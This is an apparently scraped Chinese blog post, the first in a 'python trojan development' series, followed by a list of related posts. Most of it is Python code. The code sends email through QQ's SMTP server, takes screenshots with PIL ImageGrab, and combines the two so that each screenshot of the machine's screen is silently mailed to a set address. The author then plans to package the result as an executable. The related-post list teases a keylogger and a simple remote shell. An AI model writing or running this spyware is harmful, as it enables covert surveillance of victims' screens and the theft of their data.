import smtplib
 from email.mime.text import MIMEText
 msg_from='1@qq.com'                                 #发送方邮箱
 passwd='bd'                                   #填入发送方邮箱的授权码
 msg_to='1@qq.com'

 subject="python邮件测试"                                     #主题
 content="这是我使用python smtplib及email模块发送的邮件"
 msg = MIMEText(content)
 msg['Subject'] = subject
 msg['From'] = msg_from
 msg['To'] = msg_to
 try:
     s = smtplib.SMTP_SSL("smtp.qq.com",465)
     s.login(msg_from, passwd)
     s.sendmail(msg_from, msg_to, msg.as_string())
     print( "发送成功")
 except:
     print("发送失败")
 finally:
     s.quit()

以上是文本类型邮件的发送,不适用图片邮件的发送

以下是图片类型的邮件发送

 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send():
     sender = '1@qq.com'
     receivers = '17@qq.com'
     message =  MIMEMultipart('related')
     subject = '终于能发图片了'
     message['Subject'] = subject
     message['From'] = sender
     message['To'] = receivers
     content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
     message.attach(content)

     file=open("F:\\12.png", "rb")
     img_data = file.read()
     file.close()

     img = MIMEImage(img_data)
     img.add_header('Content-ID', 'imageid')
     message.attach(img)

     try:
         server=smtplib.SMTP_SSL("smtp.qq.com",465)
         server.login(sender,"i")
         server.sendmail(sender,receivers,message.as_string())
         server.quit()
         print ("邮件发送成功")
     except smtplib.SMTPException as e:
         print(e)
 send()

之后我们继续学习截屏幕保存

 from PIL import ImageGrab
 import random
 from time import *

 strings = "qwertyuiopasdfghjkzcvbnm0123456789[].,/?"
 lenght  = len(strings)
 name = ""

 for j in range(1,3):
     for i in range(1,5):
         r = random.randint(1,36)
         name+=strings[r]
     im = ImageGrab.grab()
     im.save('F:\\'+name+'.png')
     name = ""

我们尝试将他们结合起来:

 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send():
     im = ImageGrab.grab()
     im.save('F:\\test.png')
     sender = '@qq.com'
     receivers = '@qq.com'
     message =  MIMEMultipart('related')
     subject = '终于能发图片了'
     message['Subject'] = subject
     message['From'] = sender
     message['To'] = receivers
     content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
     message.attach(content)

     file=open("F:\\test.png", "rb")
     img_data = file.read()
     file.close()

     img = MIMEImage(img_data)
     img.add_header('Content-ID', 'imageid')
     message.attach(img)

     try:
         server=smtplib.SMTP_SSL("smtp.qq.com",465)
         server.login(sender,"")
         server.sendmail(sender,receivers,message.as_string())
         server.quit()
         print ("邮件发送成功")
     except smtplib.SMTPException as e:
         print(e)
 send()

欧克,成功,我们打包试试看

python trojan development 1st —— use python to send mail and caputre the screen then combine them的更多相关文章

  1. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  2. python trojan development 3rd —— use python to creative a simple shell

    前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...

  3. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  4. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  5. Python 3.4 send mail

    #coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...

  6. 【Python网络编程】利用Python进行TCP、UDP套接字编程

    之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...

  7. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  8. python公司面试题集锦 python面试题大全

    问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...

  9. python 2016 大会 pyconsk ppt ---python dtrace

    https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...

随机推荐

  1. Net多线程编程

    Net多线程编程—使用Visual Studio 2012进行调试 1 相关概念 1)栈帧 C语言中,每个栈帧对应着一个未运行完的函数.栈帧中保存了该函数的返回地址和局部变量. 栈帧也叫过程活动记录, ...

  2. VSCode 小鸡汤 第01期 - REST Client 简单好用的接口测试辅助工具

    介绍 今天给大家介绍一个后端开发辅助的好工具 -- REST Client,插件如其名这就是一个 REST 的客户端插件,把我们的 VSCode 转化为一个 REST 接口测试的利器 我们一般都会用 ...

  3. 【转】mac版微信web开发者工具(小程序开发工具)无法显示二维码 解决方案

    转自:https://www.cnblogs.com/stevenluo/p/6030445.html   微信小程序概念的提出,绝对可以算得上中国IT界惊天动地的一件大事,这可能意味着一场新的开发热 ...

  4. HDOJ 5090 Game with Pearls 二分图匹配

    简单的二分图匹配: 每个位置可以边到这些数字甚至可以边 Game with Pearls Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: ...

  5. Opencv决策树分类器应用

    机器学习在数据挖掘.计算机视觉.搜索引擎.医学诊断.证券市场分析.语言与手写识别等领域有着十分广泛的应用,特别是在数据分析挥着越来越重要的作用.在机器学习中,决策树是最基础且应用最广泛的归纳推理算法之 ...

  6. WPF 3D 模型旋转

    原文:WPF 3D 模型旋转 WPF 是 Microsoft 在 Framework3.0 中支持的一种技术,它能作出很绚丽的界面,同时它也支持3D的操作.在3D操作主要包括平移(Translate) ...

  7. python3给图片添加水印

    #!/usr/local/bin/python3 #coding=gbk import os, io, sys, re, time, json, random from PIL import Imag ...

  8. C# 比较不错的通用验证码

    1 using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging ...

  9. wpf实现两头渐窄的线条效果

    原文:wpf实现两头渐窄的线条效果 版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/huangli321456/article/details/800 ...

  10. [ACM] POJ 3096 Surprising Strings (map使用)

    Surprising Strings Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 5783   Accepted: 379 ...